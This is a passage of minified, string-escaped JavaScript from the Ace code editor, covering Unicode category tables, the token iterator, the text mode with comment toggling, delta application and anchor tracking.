0C400C46-0C480C4A-0C4D0C550C560C620C630CBC0CBF0CC60CCC0CCD0CE20CE30D41-0D440D4D0D620D630DCA0DD2-0DD40DD60E310E34-0E3A0E47-0E4E0EB10EB4-0EB90EBB0EBC0EC8-0ECD0F180F190F350F370F390F71-0F7E0F80-0F840F860F870F90-0F970F99-0FBC0FC6102D-10301032-10371039103A103D103E10581059105E-10601071-1074108210851086108D109D135F1712-17141732-1734175217531772177317B7-17BD17C617C9-17D317DD180B-180D18A91920-19221927192819321939-193B1A171A181A561A58-1A5E1A601A621A65-1A6C1A73-1A7C1A7F1B00-1B031B341B36-1B3A1B3C1B421B6B-1B731B801B811BA2-1BA51BA81BA91C2C-1C331C361C371CD0-1CD21CD4-1CE01CE2-1CE81CED1DC0-1DE61DFD-1DFF20D0-20DC20E120E5-20F02CEF-2CF12DE0-2DFF302A-302F3099309AA66FA67CA67DA6F0A6F1A802A806A80BA825A826A8C4A8E0-A8F1A926-A92DA947-A951A980-A982A9B3A9B6-A9B9A9BCAA29-AA2EAA31AA32AA35AA36AA43AA4CAAB0AAB2-AAB4AAB7AAB8AABEAABFAAC1ABE5ABE8ABEDFB1EFE00-FE0FFE20-FE26\",Mc:\"0903093E-09400949-094C094E0982098309BE-09C009C709C809CB09CC09D70A030A3E-0A400A830ABE-0AC00AC90ACB0ACC0B020B030B3E0B400B470B480B4B0B4C0B570BBE0BBF0BC10BC20BC6-0BC80BCA-0BCC0BD70C01-0C030C41-0C440C820C830CBE0CC0-0CC40CC70CC80CCA0CCB0CD50CD60D020D030D3E-0D400D46-0D480D4A-0D4C0D570D820D830DCF-0DD10DD8-0DDF0DF20DF30F3E0F3F0F7F102B102C10311038103B103C105610571062-10641067-106D108310841087-108C108F109A-109C17B617BE-17C517C717C81923-19261929-192B193019311933-193819B0-19C019C819C91A19-1A1B1A551A571A611A631A641A6D-1A721B041B351B3B1B3D-1B411B431B441B821BA11BA61BA71BAA1C24-1C2B1C341C351CE11CF2A823A824A827A880A881A8B4-A8C3A952A953A983A9B4A9B5A9BAA9BBA9BD-A9C0AA2FAA30AA33AA34AA4DAA7BABE3ABE4ABE6ABE7ABE9ABEAABEC\",Me:\"0488048906DE20DD-20E020E2-20E4A670-A672\",N:\"0030-003900B200B300B900BC-00BE0660-066906F0-06F907C0-07C90966-096F09E6-09EF09F4-09F90A66-0A6F0AE6-0AEF0B66-0B6F0BE6-0BF20C66-0C6F0C78-0C7E0CE6-0CEF0D66-0D750E50-0E590ED0-0ED90F20-0F331040-10491090-10991369-137C16EE-16F017E0-17E917F0-17F91810-18191946-194F19D0-19DA1A80-1A891A90-1A991B50-1B591BB0-1BB91C40-1C491C50-1C5920702074-20792080-20892150-21822185-21892460-249B24EA-24FF2776-27932CFD30073021-30293038-303A3192-31953220-32293251-325F3280-328932B1-32BFA620-A629A6E6-A6EFA830-A835A8D0-A8D9A900-A909A9D0-A9D9AA50-AA59ABF0-ABF9FF10-FF19\",Nd:\"0030-00390660-066906F0-06F907C0-07C90966-096F09E6-09EF0A66-0A6F0AE6-0AEF0B66-0B6F0BE6-0BEF0C66-0C6F0CE6-0CEF0D66-0D6F0E50-0E590ED0-0ED90F20-0F291040-10491090-109917E0-17E91810-18191946-194F19D0-19DA1A80-1A891A90-1A991B50-1B591BB0-1BB91C40-1C491C50-1C59A620-A629A8D0-A8D9A900-A909A9D0-A9D9AA50-AA59ABF0-ABF9FF10-FF19\",Nl:\"16EE-16F02160-21822185-218830073021-30293038-303AA6E6-A6EF\",No:\"00B200B300B900BC-00BE09F4-09F90BF0-0BF20C78-0C7E0D70-0D750F2A-0F331369-137C17F0-17F920702074-20792080-20892150-215F21892460-249B24EA-24FF2776-27932CFD3192-31953220-32293251-325F3280-328932B1-32BFA830-A835\",P:\"0021-00230025-002A002C-002F003A003B003F0040005B-005D005F007B007D00A100AB00B700BB00BF037E0387055A-055F0589058A05BE05C005C305C605F305F40609060A060C060D061B061E061F066A-066D06D40700-070D07F7-07F90830-083E0964096509700DF40E4F0E5A0E5B0F04-0F120F3A-0F3D0F850FD0-0FD4104A-104F10FB1361-13681400166D166E169B169C16EB-16ED1735173617D4-17D617D8-17DA1800-180A1944194519DE19DF1A1E1A1F1AA0-1AA61AA8-1AAD1B5A-1B601C3B-1C3F1C7E1C7F1CD32010-20272030-20432045-20512053-205E207D207E208D208E2329232A2768-277527C527C627E6-27EF2983-299829D8-29DB29FC29FD2CF9-2CFC2CFE2CFF2E00-2E2E2E302E313001-30033008-30113014-301F3030303D30A030FBA4FEA4FFA60D-A60FA673A67EA6F2-A6F7A874-A877A8CEA8CFA8F8-A8FAA92EA92FA95FA9C1-A9CDA9DEA9DFAA5C-AA5FAADEAADFABEBFD3EFD3FFE10-FE19FE30-FE52FE54-FE61FE63FE68FE6AFE6BFF01-FF03FF05-FF0AFF0C-FF0FFF1AFF1BFF1FFF20FF3B-FF3DFF3FFF5BFF5DFF5F-FF65\",Pd:\"002D058A05BE140018062010-20152E172E1A301C303030A0FE31FE32FE58FE63FF0D\",Ps:\"0028005B007B0F3A0F3C169B201A201E2045207D208D23292768276A276C276E27702772277427C527E627E827EA27EC27EE2983298529872989298B298D298F299129932995299729D829DA29FC2E222E242E262E283008300A300C300E3010301430163018301A301DFD3EFE17FE35FE37FE39FE3BFE3DFE3FFE41FE43FE47FE59FE5BFE5DFF08FF3BFF5BFF5FFF62\",Pe:\"0029005D007D0F3B0F3D169C2046207E208E232A2769276B276D276F27712773277527C627E727E927EB27ED27EF298429862988298A298C298E2990299229942996299829D929DB29FD2E232E252E272E293009300B300D300F3011301530173019301B301E301FFD3FFE18FE36FE38FE3AFE3CFE3EFE40FE42FE44FE48FE5AFE5CFE5EFF09FF3DFF5DFF60FF63\",Pi:\"00AB2018201B201C201F20392E022E042E092E0C2E1C2E20\",Pf:\"00BB2019201D203A2E032E052E0A2E0D2E1D2E21\",Pc:\"005F203F20402054FE33FE34FE4D-FE4FFF3F\",Po:\"0021-00230025-0027002A002C002E002F003A003B003F0040005C00A100B700BF037E0387055A-055F058905C005C305C605F305F40609060A060C060D061B061E061F066A-066D06D40700-070D07F7-07F90830-083E0964096509700DF40E4F0E5A0E5B0F04-0F120F850FD0-0FD4104A-104F10FB1361-1368166D166E16EB-16ED1735173617D4-17D617D8-17DA1800-18051807-180A1944194519DE19DF1A1E1A1F1AA0-1AA61AA8-1AAD1B5A-1B601C3B-1C3F1C7E1C7F1CD3201620172020-20272030-2038203B-203E2041-20432047-205120532055-205E2CF9-2CFC2CFE2CFF2E002E012E06-2E082E0B2E0E-2E162E182E192E1B2E1E2E1F2E2A-2E2E2E302E313001-3003303D30FBA4FEA4FFA60D-A60FA673A67EA6F2-A6F7A874-A877A8CEA8CFA8F8-A8FAA92EA92FA95FA9C1-A9CDA9DEA9DFAA5C-AA5FAADEAADFABEBFE10-FE16FE19FE30FE45FE46FE49-FE4CFE50-FE52FE54-FE57FE5F-FE61FE68FE6AFE6BFF01-FF03FF05-FF07FF0AFF0CFF0EFF0FFF1AFF1BFF1FFF20FF3CFF61FF64FF65\",S:\"0024002B003C-003E005E0060007C007E00A2-00A900AC00AE-00B100B400B600B800D700F702C2-02C502D2-02DF02E5-02EB02ED02EF-02FF03750384038503F604820606-0608060B060E060F06E906FD06FE07F609F209F309FA09FB0AF10B700BF3-0BFA0C7F0CF10CF20D790E3F0F01-0F030F13-0F170F1A-0F1F0F340F360F380FBE-0FC50FC7-0FCC0FCE0FCF0FD5-0FD8109E109F13601390-139917DB194019E0-19FF1B61-1B6A1B74-1B7C1FBD1FBF-1FC11FCD-1FCF1FDD-1FDF1FED-1FEF1FFD1FFE20442052207A-207C208A-208C20A0-20B8210021012103-21062108210921142116-2118211E-2123212521272129212E213A213B2140-2144214A-214D214F2190-2328232B-23E82400-24262440-244A249C-24E92500-26CD26CF-26E126E326E8-26FF2701-27042706-2709270C-27272729-274B274D274F-27522756-275E2761-276727942798-27AF27B1-27BE27C0-27C427C7-27CA27CC27D0-27E527F0-29822999-29D729DC-29FB29FE-2B4C2B50-2B592CE5-2CEA2E80-2E992E9B-2EF32F00-2FD52FF0-2FFB300430123013302030363037303E303F309B309C319031913196-319F31C0-31E33200-321E322A-32503260-327F328A-32B032C0-32FE3300-33FF4DC0-4DFFA490-A4C6A700-A716A720A721A789A78AA828-A82BA836-A839AA77-AA79FB29FDFCFDFDFE62FE64-FE66FE69FF04FF0BFF1C-FF1EFF3EFF40FF5CFF5EFFE0-FFE6FFE8-FFEEFFFCFFFD\",Sm:\"002B003C-003E007C007E00AC00B100D700F703F60606-060820442052207A-207C208A-208C2140-2144214B2190-2194219A219B21A021A321A621AE21CE21CF21D221D421F4-22FF2308-230B23202321237C239B-23B323DC-23E125B725C125F8-25FF266F27C0-27C427C7-27CA27CC27D0-27E527F0-27FF2900-29822999-29D729DC-29FB29FE-2AFF2B30-2B442B47-2B4CFB29FE62FE64-FE66FF0BFF1C-FF1EFF5CFF5EFFE2FFE9-FFEC\",Sc:\"002400A2-00A5060B09F209F309FB0AF10BF90E3F17DB20A0-20B8A838FDFCFE69FF04FFE0FFE1FFE5FFE6\",Sk:\"005E006000A800AF00B400B802C2-02C502D2-02DF02E5-02EB02ED02EF-02FF0375038403851FBD1FBF-1FC11FCD-1FCF1FDD-1FDF1FED-1FEF1FFD1FFE309B309CA700-A716A720A721A789A78AFF3EFF40FFE3\",So:\"00A600A700A900AE00B000B60482060E060F06E906FD06FE07F609FA0B700BF3-0BF80BFA0C7F0CF10CF20D790F01-0F030F13-0F170F1A-0F1F0F340F360F380FBE-0FC50FC7-0FCC0FCE0FCF0FD5-0FD8109E109F13601390-1399194019E0-19FF1B61-1B6A1B74-1B7C210021012103-21062108210921142116-2118211E-2123212521272129212E213A213B214A214C214D214F2195-2199219C-219F21A121A221A421A521A7-21AD21AF-21CD21D021D121D321D5-21F32300-2307230C-231F2322-2328232B-237B237D-239A23B4-23DB23E2-23E82400-24262440-244A249C-24E92500-25B625B8-25C025C2-25F72600-266E2670-26CD26CF-26E126E326E8-26FF2701-27042706-2709270C-27272729-274B274D274F-27522756-275E2761-276727942798-27AF27B1-27BE2800-28FF2B00-2B2F2B452B462B50-2B592CE5-2CEA2E80-2E992E9B-2EF32F00-2FD52FF0-2FFB300430123013302030363037303E303F319031913196-319F31C0-31E33200-321E322A-32503260-327F328A-32B032C0-32FE3300-33FF4DC0-4DFFA490-A4C6A828-A82BA836A837A839AA77-AA79FDFDFFE4FFE8FFEDFFEEFFFCFFFD\",Z:\"002000A01680180E2000-200A20282029202F205F3000\",Zs:\"002000A01680180E2000-200A202F205F3000\",Zl:\"2028\",Zp:\"2029\",C:\"0000-001F007F-009F00AD03780379037F-0383038B038D03A20526-05300557055805600588058B-059005C8-05CF05EB-05EF05F5-0605061C061D0620065F06DD070E070F074B074C07B2-07BF07FB-07FF082E082F083F-08FF093A093B094F095609570973-097809800984098D098E0991099209A909B109B3-09B509BA09BB09C509C609C909CA09CF-09D609D8-09DB09DE09E409E509FC-0A000A040A0B-0A0E0A110A120A290A310A340A370A3A0A3B0A3D0A43-0A460A490A4A0A4E-0A500A52-0A580A5D0A5F-0A650A76-0A800A840A8E0A920AA90AB10AB40ABA0ABB0AC60ACA0ACE0ACF0AD1-0ADF0AE40AE50AF00AF2-0B000B040B0D0B0E0B110B120B290B310B340B3A0B3B0B450B460B490B4A0B4E-0B550B58-0B5B0B5E0B640B650B72-0B810B840B8B-0B8D0B910B96-0B980B9B0B9D0BA0-0BA20BA5-0BA70BAB-0BAD0BBA-0BBD0BC3-0BC50BC90BCE0BCF0BD1-0BD60BD8-0BE50BFB-0C000C040C0D0C110C290C340C3A-0C3C0C450C490C4E-0C540C570C5A-0C5F0C640C650C70-0C770C800C810C840C8D0C910CA90CB40CBA0CBB0CC50CC90CCE-0CD40CD7-0CDD0CDF0CE40CE50CF00CF3-0D010D040D0D0D110D290D3A-0D3C0D450D490D4E-0D560D58-0D5F0D640D650D76-0D780D800D810D840D97-0D990DB20DBC0DBE0DBF0DC7-0DC90DCB-0DCE0DD50DD70DE0-0DF10DF5-0E000E3B-0E3E0E5C-0E800E830E850E860E890E8B0E8C0E8E-0E930E980EA00EA40EA60EA80EA90EAC0EBA0EBE0EBF0EC50EC70ECE0ECF0EDA0EDB0EDE-0EFF0F480F6D-0F700F8C-0F8F0F980FBD0FCD0FD9-0FFF10C6-10CF10FD-10FF1249124E124F12571259125E125F1289128E128F12B112B612B712BF12C112C612C712D7131113161317135B-135E137D-137F139A-139F13F5-13FF169D-169F16F1-16FF170D1715-171F1737-173F1754-175F176D17711774-177F17B417B517DE17DF17EA-17EF17FA-17FF180F181A-181F1878-187F18AB-18AF18F6-18FF191D-191F192C-192F193C-193F1941-1943196E196F1975-197F19AC-19AF19CA-19CF19DB-19DD1A1C1A1D1A5F1A7D1A7E1A8A-1A8F1A9A-1A9F1AAE-1AFF1B4C-1B4F1B7D-1B7F1BAB-1BAD1BBA-1BFF1C38-1C3A1C4A-1C4C1C80-1CCF1CF3-1CFF1DE7-1DFC1F161F171F1E1F1F1F461F471F4E1F4F1F581F5A1F5C1F5E1F7E1F7F1FB51FC51FD41FD51FDC1FF01FF11FF51FFF200B-200F202A-202E2060-206F20722073208F2095-209F20B9-20CF20F1-20FF218A-218F23E9-23FF2427-243F244B-245F26CE26E226E4-26E727002705270A270B2728274C274E2753-2755275F27602795-279727B027BF27CB27CD-27CF2B4D-2B4F2B5A-2BFF2C2F2C5F2CF2-2CF82D26-2D2F2D66-2D6E2D70-2D7F2D97-2D9F2DA72DAF2DB72DBF2DC72DCF2DD72DDF2E32-2E7F2E9A2EF4-2EFF2FD6-2FEF2FFC-2FFF3040309730983100-3104312E-3130318F31B8-31BF31E4-31EF321F32FF4DB6-4DBF9FCC-9FFFA48D-A48FA4C7-A4CFA62C-A63FA660A661A674-A67BA698-A69FA6F8-A6FFA78D-A7FAA82C-A82FA83A-A83FA878-A87FA8C5-A8CDA8DA-A8DFA8FC-A8FFA954-A95EA97D-A97FA9CEA9DA-A9DDA9E0-A9FFAA37-AA3FAA4EAA4FAA5AAA5BAA7C-AA7FAAC3-AADAAAE0-ABBFABEEABEFABFA-ABFFD7A4-D7AFD7C7-D7CAD7FC-F8FFFA2EFA2FFA6EFA6FFADA-FAFFFB07-FB12FB18-FB1CFB37FB3DFB3FFB42FB45FBB2-FBD2FD40-FD4FFD90FD91FDC8-FDEFFDFEFDFFFE1A-FE1FFE27-FE2FFE53FE67FE6C-FE6FFE75FEFD-FF00FFBF-FFC1FFC8FFC9FFD0FFD1FFD8FFD9FFDD-FFDFFFE7FFEF-FFFBFFFEFFFF\",Cc:\"0000-001F007F-009F\",Cf:\"00AD0600-060306DD070F17B417B5200B-200F202A-202E2060-2064206A-206FFEFFFFF9-FFFB\",Co:\"E000-F8FF\",Cs:\"D800-DFFF\",Cn:\"03780379037F-0383038B038D03A20526-05300557055805600588058B-059005C8-05CF05EB-05EF05F5-05FF06040605061C061D0620065F070E074B074C07B2-07BF07FB-07FF082E082F083F-08FF093A093B094F095609570973-097809800984098D098E0991099209A909B109B3-09B509BA09BB09C509C609C909CA09CF-09D609D8-09DB09DE09E409E509FC-0A000A040A0B-0A0E0A110A120A290A310A340A370A3A0A3B0A3D0A43-0A460A490A4A0A4E-0A500A52-0A580A5D0A5F-0A650A76-0A800A840A8E0A920AA90AB10AB40ABA0ABB0AC60ACA0ACE0ACF0AD1-0ADF0AE40AE50AF00AF2-0B000B040B0D0B0E0B110B120B290B310B340B3A0B3B0B450B460B490B4A0B4E-0B550B58-0B5B0B5E0B640B650B72-0B810B840B8B-0B8D0B910B96-0B980B9B0B9D0BA0-0BA20BA5-0BA70BAB-0BAD0BBA-0BBD0BC3-0BC50BC90BCE0BCF0BD1-0BD60BD8-0BE50BFB-0C000C040C0D0C110C290C340C3A-0C3C0C450C490C4E-0C540C570C5A-0C5F0C640C650C70-0C770C800C810C840C8D0C910CA90CB40CBA0CBB0CC50CC90CCE-0CD40CD7-0CDD0CDF0CE40CE50CF00CF3-0D010D040D0D0D110D290D3A-0D3C0D450D490D4E-0D560D58-0D5F0D640D650D76-0D780D800D810D840D97-0D990DB20DBC0DBE0DBF0DC7-0DC90DCB-0DCE0DD50DD70DE0-0DF10DF5-0E000E3B-0E3E0E5C-0E800E830E850E860E890E8B0E8C0E8E-0E930E980EA00EA40EA60EA80EA90EAC0EBA0EBE0EBF0EC50EC70ECE0ECF0EDA0EDB0EDE-0EFF0F480F6D-0F700F8C-0F8F0F980FBD0FCD0FD9-0FFF10C6-10CF10FD-10FF1249124E124F12571259125E125F1289128E128F12B112B612B712BF12C112C612C712D7131113161317135B-135E137D-137F139A-139F13F5-13FF169D-169F16F1-16FF170D1715-171F1737-173F1754-175F176D17711774-177F17DE17DF17EA-17EF17FA-17FF180F181A-181F1878-187F18AB-18AF18F6-18FF191D-191F192C-192F193C-193F1941-1943196E196F1975-197F19AC-19AF19CA-19CF19DB-19DD1A1C1A1D1A5F1A7D1A7E1A8A-1A8F1A9A-1A9F1AAE-1AFF1B4C-1B4F1B7D-1B7F1BAB-1BAD1BBA-1BFF1C38-1C3A1C4A-1C4C1C80-1CCF1CF3-1CFF1DE7-1DFC1F161F171F1E1F1F1F461F471F4E1F4F1F581F5A1F5C1F5E1F7E1F7F1FB51FC51FD41FD51FDC1FF01FF11FF51FFF2065-206920722073208F2095-209F20B9-20CF20F1-20FF218A-218F23E9-23FF2427-243F244B-245F26CE26E226E4-26E727002705270A270B2728274C274E2753-2755275F27602795-279727B027BF27CB27CD-27CF2B4D-2B4F2B5A-2BFF2C2F2C5F2CF2-2CF82D26-2D2F2D66-2D6E2D70-2D7F2D97-2D9F2DA72DAF2DB72DBF2DC72DCF2DD72DDF2E32-2E7F2E9A2EF4-2EFF2FD6-2FEF2FFC-2FFF3040309730983100-3104312E-3130318F31B8-31BF31E4-31EF321F32FF4DB6-4DBF9FCC-9FFFA48D-A48FA4C7-A4CFA62C-A63FA660A661A674-A67BA698-A69FA6F8-A6FFA78D-A7FAA82C-A82FA83A-A83FA878-A87FA8C5-A8CDA8DA-A8DFA8FC-A8FFA954-A95EA97D-A97FA9CEA9DA-A9DDA9E0-A9FFAA37-AA3FAA4EAA4FAA5AAA5BAA7C-AA7FAAC3-AADAAAE0-ABBFABEEABEFABFA-ABFFD7A4-D7AFD7C7-D7CAD7FC-D7FFFA2EFA2FFA6EFA6FFADA-FAFFFB07-FB12FB18-FB1CFB37FB3DFB3FFB42FB45FBB2-FBD2FD40-FD4FFD90FD91FDC8-FDEFFDFEFDFFFE1A-FE1FFE27-FE2FFE53FE67FE6C-FE6FFE75FEFDFEFEFF00FFBF-FFC1FFC8FFC9FFD0FFD1FFD8FFD9FFDD-FFDFFFE7FFEF-FFF8FFFEFFFF\"})}),define(\"ace/token_iterator\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t,n){this.$session=e,this.$row=t,this.$rowTokens=e.getTokens(t);var r=e.getTokenAt(t,n);this.$tokenIndex=r?r.index:-1};(function(){this.stepBackward=function(){this.$tokenIndex-=1;while(this.$tokenIndex<0){this.$row-=1;if(this.$row<0)return this.$row=0,null;this.$rowTokens=this.$session.getTokens(this.$row),this.$tokenIndex=this.$rowTokens.length-1}return this.$rowTokens[this.$tokenIndex]},this.stepForward=function(){this.$tokenIndex+=1;var e;while(this.$tokenIndex>=this.$rowTokens.length){this.$row+=1,e||(e=this.$session.getLength());if(this.$row>=e)return this.$row=e-1,null;this.$rowTokens=this.$session.getTokens(this.$row),this.$tokenIndex=0}return this.$rowTokens[this.$tokenIndex]},this.getCurrentToken=function(){return this.$rowTokens[this.$tokenIndex]},this.getCurrentTokenRow=function(){return this.$row},this.getCurrentTokenColumn=function(){var e=this.$rowTokens,t=this.$tokenIndex,n=e[t].start;if(n!==undefined)return n;n=0;while(t>0)t-=1,n+=e[t].value.length;return n},this.getCurrentTokenPosition=function(){return{row:this.$row,column:this.getCurrentTokenColumn()}}}).call(r.prototype),t.TokenIterator=r}),define(\"ace/mode/text\",[\"require\",\"exports\",\"module\",\"ace/tokenizer\",\"ace/mode/text_highlight_rules\",\"ace/mode/behaviour\",\"ace/unicode\",\"ace/lib/lang\",\"ace/token_iterator\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../tokenizer\").Tokenizer,i=e(\"./text_highlight_rules\").TextHighlightRules,s=e(\"./behaviour\").Behaviour,o=e(\"../unicode\"),u=e(\"../lib/lang\"),a=e(\"../token_iterator\").TokenIterator,f=e(\"../range\").Range,l=function(){this.HighlightRules=i,this.$behaviour=new s};(function(){this.tokenRe=new RegExp(\"^[\"+o.packages.L+o.packages.Mn+o.packages.Mc+o.packages.Nd+o.packages.Pc+\"\\\\$_]+\",\"g\"),this.nonTokenRe=new RegExp(\"^(?:[^\"+o.packages.L+o.packages.Mn+o.packages.Mc+o.packages.Nd+o.packages.Pc+\"\\\\$_]|\\\\s])+\",\"g\"),this.getTokenizer=function(){return this.$tokenizer||(this.$highlightRules=this.$highlightRules||new this.HighlightRules,this.$tokenizer=new r(this.$highlightRules.getRules())),this.$tokenizer},this.lineCommentStart=\"\",this.blockComment=\"\",this.toggleCommentLines=function(e,t,n,r){function w(e){for(var t=n;t<=r;t++)e(i.getLine(t),t)}var i=t.doc,s=!0,o=!0,a=Infinity,f=t.getTabSize(),l=!1;if(!this.lineCommentStart){if(!this.blockComment)return!1;var c=this.blockComment.start,h=this.blockComment.end,p=new RegExp(\"^(\\\\s*)(?:\"+u.escapeRegExp(c)+\")\"),d=new RegExp(\"(?:\"+u.escapeRegExp(h)+\")\\\\s*$\"),v=function(e,t){if(g(e,t))return;if(!s||/\\S/.test(e))i.insertInLine({row:t,column:e.length},h),i.insertInLine({row:t,column:a},c)},m=function(e,t){var n;(n=e.match(d))&&i.removeInLine(t,e.length-n[0].length,e.length),(n=e.match(p))&&i.removeInLine(t,n[1].length,n[0].length)},g=function(e,n){if(p.test(e))return!0;var r=t.getTokens(n);for(var i=0;i<r.length;i++)if(r[i].type===\"comment\")return!0}}else{if(Array.isArray(this.lineCommentStart))var p=this.lineCommentStart.map(u.escapeRegExp).join(\"|\"),c=this.lineCommentStart[0];else var p=u.escapeRegExp(this.lineCommentStart),c=this.lineCommentStart;p=new RegExp(\"^(\\\\s*)(?:\"+p+\") ?\"),l=t.getUseSoftTabs();var m=function(e,t){var n=e.match(p);if(!n)return;var r=n[1].length,s=n[0].length;!b(e,r,s)&&n[0][s-1]==\" \"&&s--,i.removeInLine(t,r,s)},y=c+\" \",v=function(e,t){if(!s||/\\S/.test(e))b(e,a,a)?i.insertInLine({row:t,column:a},y):i.insertInLine({row:t,column:a},c)},g=function(e,t){return p.test(e)},b=function(e,t,n){var r=0;while(t--&&e.charAt(t)==\" \")r++;if(r%f!=0)return!1;var r=0;while(e.charAt(n++)==\" \")r++;return f>2?r%f!=f-1:r%f==0}}var E=Infinity;w(function(e,t){var n=e.search(/\\S/);n!==-1?(n<a&&(a=n),o&&!g(e,t)&&(o=!1)):E>e.length&&(E=e.length)}),a==Infinity&&(a=E,s=!1,o=!1),l&&a%f!=0&&(a=Math.floor(a/f)*f),w(o?m:v)},this.toggleBlockComment=function(e,t,n,r){var i=this.blockComment;if(!i)return;!i.start&&i[0]&&(i=i[0]);var s=new a(t,r.row,r.column),o=s.getCurrentToken(),u=t.selection,l=t.selection.toOrientedRange(),c,h;if(o&&/comment/.test(o.type)){var p,d;while(o&&/comment/.test(o.type)){var v=o.value.indexOf(i.start);if(v!=-1){var m=s.getCurrentTokenRow(),g=s.getCurrentTokenColumn()+v;p=new f(m,g,m,g+i.start.length);break}o=s.stepBackward()}var s=new a(t,r.row,r.column),o=s.getCurrentToken();while(o&&/comment/.test(o.type)){var v=o.value.indexOf(i.end);if(v!=-1){var m=s.getCurrentTokenRow(),g=s.getCurrentTokenColumn()+v;d=new f(m,g,m,g+i.end.length);break}o=s.stepForward()}d&&t.remove(d),p&&(t.remove(p),c=p.start.row,h=-i.start.length)}else h=i.start.length,c=n.start.row,t.insert(n.end,i.end),t.insert(n.start,i.start);l.start.row==c&&(l.start.column+=h),l.end.row==c&&(l.end.column+=h),t.selection.fromOrientedRange(l)},this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.autoOutdent=function(e,t,n){},this.$getIndent=function(e){return e.match(/^\\s*/)[0]},this.createWorker=function(e){return null},this.createModeDelegates=function(e){this.$embeds=[],this.$modes={};for(var t in e)e[t]&&(this.$embeds.push(t),this.$modes[t]=new e[t]);var n=[\"toggleBlockComment\",\"toggleCommentLines\",\"getNextLineIndent\",\"checkOutdent\",\"autoOutdent\",\"transformAction\",\"getCompletions\"];for(var t=0;t<n.length;t++)(function(e){var r=n[t],i=e[r];e[n[t]]=function(){return this.$delegator(r,arguments,i)}})(this)},this.$delegator=function(e,t,n){var r=t[0];typeof r!=\"string\"&&(r=r[0]);for(var i=0;i<this.$embeds.length;i++){if(!this.$modes[this.$embeds[i]])continue;var s=r.split(this.$embeds[i]);if(!s[0]&&s[1]){t[0]=s[1];var o=this.$modes[this.$embeds[i]];return o[e].apply(o,t)}}var u=n.apply(this,t);return n?u:undefined},this.transformAction=function(e,t,n,r,i){if(this.$behaviour){var s=this.$behaviour.getBehaviours();for(var o in s)if(s[o][t]){var u=s[o][t].apply(this,arguments);if(u)return u}}},this.getKeywords=function(e){if(!this.completionKeywords){var t=this.$tokenizer.rules,n=[];for(var r in t){var i=t[r];for(var s=0,o=i.length;s<o;s++)if(typeof i[s].token==\"string\")/keyword|support|storage/.test(i[s].token)&&n.push(i[s].regex);else if(typeof i[s].token==\"object\")for(var u=0,a=i[s].token.length;u<a;u++)if(/keyword|support|storage/.test(i[s].token[u])){var r=i[s].regex.match(/\\(.+?\\)/g)[u];n.push(r.substr(1,r.length-2))}}this.completionKeywords=n}return e?n.concat(this.$keywordList||[]):this.$keywordList},this.$createKeywordList=function(){return this.$highlightRules||this.getTokenizer(),this.$keywordList=this.$highlightRules.$keywordList||[]},this.getCompletions=function(e,t,n,r){var i=this.$keywordList||this.$createKeywordList();return i.map(function(e){return{name:e,value:e,score:0,meta:\"keyword\"}})},this.$id=\"ace/mode/text\"}).call(l.prototype),t.Mode=l}),define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var 